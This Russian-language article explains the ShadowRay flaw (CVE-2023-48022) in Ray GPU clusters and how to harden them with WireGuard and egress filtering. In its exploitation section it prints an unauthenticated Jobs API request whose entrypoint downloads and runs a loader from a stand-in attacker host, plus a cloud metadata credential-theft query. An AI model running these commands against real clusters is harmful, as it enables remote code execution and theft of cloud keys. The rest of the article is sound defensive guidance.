Стремительное развитие генеративных моделей и распределенного глубокого обучения превратило вычислительные кластеры на базе графических процессоров (GPU) в критически важный и дорогостоящий актив современных технологических компаний. Для координации предварительного обучения, процедур RLHF и масштабируемого инференса на сотнях взаимосвязанных GPU-узлов инженеры активно задействуют специализированные распределенные фреймворки.

Среди них проект Ray с открытым исходным кодом, созданный компанией Anyscale, завоевал статус отраслевого стандарта. Однако исходная архитектура Ray создавалась с приоритетом максимального быстродействия и минимальных сетевых задержек в предположительно доверенной локальной среде. Отсутствие встроенной взаимной аутентификации в базовых управляющих службах привело к возникновению масштабного вектора компрометации, зарегистрированного под кодом CVE-2023-48022 и получившего известность как кампания ShadowRay.

+-------------------------------------------------------------------------------+
|                       ЦЕПОЧКА АТАКИ НА GPU-КЛАСТЕР SHADOWRAY                  |
+-------------------------------------------------------------------------------+
| 1. Сканирование незащищенных сетевых портов                                   |
|    └─ Обнаружение открытого интерфейса Ray Dashboard (TCP 8265) в сети        |
| 2. Удаленное внедрение задач через REST API                                   |
|    └─ Отправка неаутентифицированного запроса на адрес: POST /api/jobs/       |
| 3. Распределение полезной нагрузки через демон Raylet                         |
|    └─ Главный узел (Head node) передает команду на GPU-воркеры (TCP 10001)    |
| 4. Удаленное выполнение произвольного кода (RCE) на узлах GPU                 |
|    └─ Скрипт выполняется в контексте рабочего процесса (часто с правами root) |
| 5. Постэксплуатация и развитие атаки                                          |
|    ├─ Захват карт NVIDIA H100/A100 для несанкционированного майнинга (T1496) |
|    ├─ Запрос метаданных инстанса (169.254.169.254) для кражи токенов IAM      |
|    └─ Эксфильтрация обученных весов (.safetensors) и закрытых датасетов       |
+-------------------------------------------------------------------------------+

Надежная защита распределенных систем искусственного интеллекта требует полного отказа от доверия на прикладном уровне и развертывания жесткого зашифрованного сетевого периметра.


Архитектура Ray и первопричина уязвимости CVE-2023-48022

Ray функционирует по топологии «главный — подчиненный» (Head Node — Worker Nodes). Чтобы понять уязвимость сетевой границы, необходимо проанализировать взаимодействие компонентов.

1. Топология Ray и ключевые сетевые порты

Типовая инсталляция кластера включает в себя следующие сервисы:

  • Панель управления Ray Dashboard и Jobs API (Порт 8265): Предоставляет графический мониторинг аппаратных ресурсов, просмотр журналов и программный интерфейс HTTP REST для отправки задач Python (/api/jobs/).
  • Глобальное хранилище управления GCS (Порт 6379): Управляет метаданными, распределением заданий и графом зависимостей через встроенную key-value базу данных.
  • Сервер Ray Client (Порт 10001): Обеспечивает интерактивные удаленные подключения Python-клиентов к кластеру.
  • Raylet и распределенная память Plasma (Порты 10002–19999): Отвечают за удаленный вызов процедур (RPC), разделяемую память и высокоскоростную передачу тензоров между GPU.
Сетевая схема взаимодействий Ray:
[ Внешняя сеть / Недоверенный сегмент ]
                │
                ▼ (Незащищенный доступ: TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ Главный узел Ray (Head Node)                           │
│  ├── Веб-интерфейс и REST API (Порт 8265)              │
│  ├── Глобальное хранилище GCS (Порт 6379)              │
│  └── Сервер Ray Client (Порт 10001)                    │
└───────────────────────┬────────────────────────────────┘
                        │ Внутренний обмен gRPC / RPC
        ┌───────────────┴───────────────┐
        ▼                               ▼
┌──────────────────────┐        ┌──────────────────────┐
│ Рабочий узел GPU 1   │        │ Рабочий узел GPU 2   │
│  ├── Демон Raylet    │        │  ├── Демон Raylet    │
│  └── 8x NVIDIA H100  │        │  └── 8x NVIDIA H100  │
└──────────────────────┘        └──────────────────────┘

2. Механизм эксплуатации уязвимости ShadowRay (CVE-2023-48022)

Изначально разработчики фреймворка исходили из предположения, что за безопасность кластера отвечают внешние сетевые экраны дата-центра. Однако при развертывании Ray в облачных средах Kubernetes (через KubeRay) или на виртуальных машинах службы нередко привязываются к адресу 0.0.0.0 или публикуются через Ingress-контроллеры без настройки механизмов авторизации.

Обнаружив открытый порт TCP 8265, злоумышленник может инициировать запуск произвольного командного сценария одним HTTP-запросом:

# Отправка неавторизованного вычислительного задания на узел управления Ray
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
  -H "Content-Type: application/json" \
  -d '{
    "entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
    "runtime_env": {
      "env_vars": {"CLUSTER_TARGET": "ai-training"}
    }
  }'

Главный узел фиксирует задачу в GCS, планирует выполнение и распределяет нагрузку через Raylet на рабочие узлы. Команды запускаются на мощных GPU-серверах с привилегиями рабочего процесса (зачастую с правами root внутри контейнера Docker).

3. Развитие атаки и компрометация метаданных облака (IMDS)

Получив доступ к командной строке контейнера, автоматизированные сканеры обращаются к локальной службе метаданных облачного провайдера (IMDSv1):

# Запрос к службе метаданных для получения временных ключей доступа IAM
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

Скомпрометировав ключи IAM, атакующие получают возможность выгрузить проприетарные веса моделей из объектных хранилищ S3 или развернуть дополнительные инстансы для несанкционированного майнинга криптовалют.


Векторы сетевых угроз и утечки данных

Попытки защитить кластер установкой обычного обратного прокси-сервера (например, Nginx с парольной аутентификацией) перед веб-портом 8265 обеспечивают лишь частичный эффект. Межузловые соединения (порты 6379, 10001 и динамический диапазон воркеров) по-прежнему функционируют без шифрования и авторизации в общем широковещательном домене.

В плоской сети центра обработки данных компрометация соседнего сервера разработки позволяет перехватывать внутренний трафик Ray RPC, подменять аргументы заданий или извлекать фрагменты моделей прямо из сетевых пакетов.

Сетевые угрозы для кластера:
[ Нарушитель / Скомпрометированный узел локальной сети ]
        │
        ├── (1) Прямой доступ к порту 8265 -> RCE через Jobs API
        │
        ├── (2) Кража метаданных -> Запрос 169.254.169.254 для получения токенов
        │
        ├── (3) Прослушивание трафика -> Перехват незашифрованных тензоров в сети
        │
        └── (4) Обратная связь с C2 -> Исходящий TCP-канал к внешнему серверу

Для надежного противодействия угрозе необходимо полностью изолировать компоненты кластера от открытых сетей и объединить их в единую ячеистую сеть третьего уровня.


Архитектура нулевого доверия: WireGuard Mesh и микросегментация

Комплексная защита кластера строится на комбинации шифрованной ячеистой сети WireGuard, изоляции портов и строгой фильтрации исходящего трафика.

+-------------------------------------------------------------------------------+
|                       АРХИТЕКТУРА БЕЗОПАСНОСТИ GPU-КЛАСТЕРА                   |
+-------------------------------------------------------------------------------+
| Уровень 1: Зашифрованная ячеистая сеть WireGuard L3 (10.66.0.0/24)            |
| ├─ Взаимодействие Head и Worker узлов ограничено виртуальной подсетью         |
| ├─ Полное шифрование ChaCha20-Poly1305 для gRPC и межпроцессного обмена       |
| └─ Отсутствие прослушивания на физических сетевых интерфейсах и белых IP      |
+-------------------------------------------------------------------------------+
| Уровень 2: Микросегментация исходящего трафика и блокировка метаданных        |
| ├─ Блокировка всех обращений к адресу 169.254.169.254 из рабочих контейнеров  |
| ├─ Изоляция внешних соединений; запрет несанкционированного исходящего трафика|
| └─ Защищенный Anycast DNS с автоматической нейтрализацией C2-доменов          |
+-------------------------------------------------------------------------------+
| Уровень 3: Защищенное удаленное администрирование через VPN                   |
| ├─ Панель Ray Dashboard слушает исключительно IP-адрес WireGuard (10.66.0.1)  |
| ├─ Доступ администраторов разрешен только через клиентский туннель WireGuard  |
| └─ Неизменяемый аудит всех запросов на запуск вычислительных задач            |
+-------------------------------------------------------------------------------+

1. Развертывание защищенной сети WireGuard Mesh для GPU-узлов

Каждому физическому серверу кластера присваивается статический адрес в изолированной подсети WireGuard (например, 10.66.0.0/24).

Пример конфигурации главного узла Ray (Head Node):

# /etc/wireguard/wg-ai.conf (Главный узел управления)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <Приватный_Ключ_Head_Node>
ListenPort = 51820

# Разрешение входящего трафика только через виртуальный интерфейс
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT

# Рабочий сервер 1
[Peer]
PublicKey = <Публичный_Ключ_Worker_1>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25

# Рабочий сервер 2
[Peer]
PublicKey = <Публичный_Ключ_Worker_2>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25

Запуск службы Ray выполняется со строгой привязкой к виртуальному интерфейсу:

# Запуск Ray Head с привязкой к защищенному адресу WireGuard Mesh
ray start --head \
  --node-ip-address=10.66.0.1 \
  --dashboard-host=10.66.0.1 \
  --port=6379 \
  --dashboard-port=8265 \
  --disable-usage-stats

Все рабочие воркеры подключаются аналогично (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). Пакеты между серверами шифруются на уровне ядра Linux алгоритмом ChaCha20-Poly1305, исключая перехват данных в локальной сети дата-центра.

2. Фильтрация исходящего трафика и блокировка службы метаданных

Для предотвращения кражи облачных ключей и развертывания реверс-шеллов исходящий сетевой трафик контейнеров жестко лимитируется.

Пример сценария настройки межсетевого экрана для GPU-узлов:

#!/usr/bin/env bash
# Правила изоляции исходящего трафика и защиты метаданных для GPU-серверов
set -euo pipefail

WG_IF="wg-ai"
METADATA_IP="169.254.169.254"

# Политика пересылки по умолчанию: сброс пакетов
iptables -P FORWARD DROP

# Очистка таблиц
iptables -F
iptables -X

# Разрешение установленных сессий
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Блокировка доступа к облачной службе метаданных
iptables -A OUTPUT -d "$METADATA_IP" -j DROP

# Разрешение взаимодействия между узлами кластера только через WireGuard
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT

# Блокировка исходящих TCP-подключений через физический сетевой интерфейс
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP

# Принудительная маршрутизация DNS в защищенный Anycast-резолвер туннеля
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset

echo "Правила изоляции исходящего трафика успешно применены."

Тестирование и верификация безопасности кластера

Для подтверждения защищенности кластера от внешнего сканирования администратор может запустить тестовую проверку с внешнего хоста:

#!/usr/bin/env bash
# Скрипт проверки доступности портов кластера Ray
TARGET_IP="192.168.10.10" # Физический IP-адрес управляющего узла в локальной сети

echo "[*] Шаг 1: Сканирование порта Ray Dashboard на физическом интерфейсе..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
    echo "[!] КРИТИЧЕСКАЯ УГРОЗА: Порт 8265 доступен снаружи! Кластер уязвим."
else
    echo "[+] УСПЕХ: Порт 8265 недоступен или блокируется межсетевым экраном."
fi

echo "[*] Шаг 2: Проверка порта Ray Client (10001)..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
    echo "[!] ВНИМАНИЕ: Порт 10001 открыт! Возможен удаленный запуск кода."
else
    echo "[+] УСПЕХ: Порт 10001 надежно закрыт."
fi

Закрытое состояние портов подтверждает, что доступ к управлению вычислениями имеют только авторизованные инженеры, подключенные через VPN-туннель.


Заключение

Инциденты безопасности вокруг кампании ShadowRay наглядно показали, что доверительная модель распределенных вычислений устарела. В эпоху, когда кластеры объединяют миллионы долларов в аппаратных ресурсах GPU и обрабатывают ключевые активы компаний, защита только веб-интерфейсов недостаточна.

Развертывание ячеистой сети WireGuard на третьем сетевом уровне, привязка служб Ray исключительно к виртуальным интерфейсам и строгая фильтрация исходящих потоков создают надежный эшелонированный рубеж. Даже в гетерогенных облачных инфраструктурах вычисления защищены от перехвата ресурсов, внедрения вредоносного кода и утечки ценных моделей.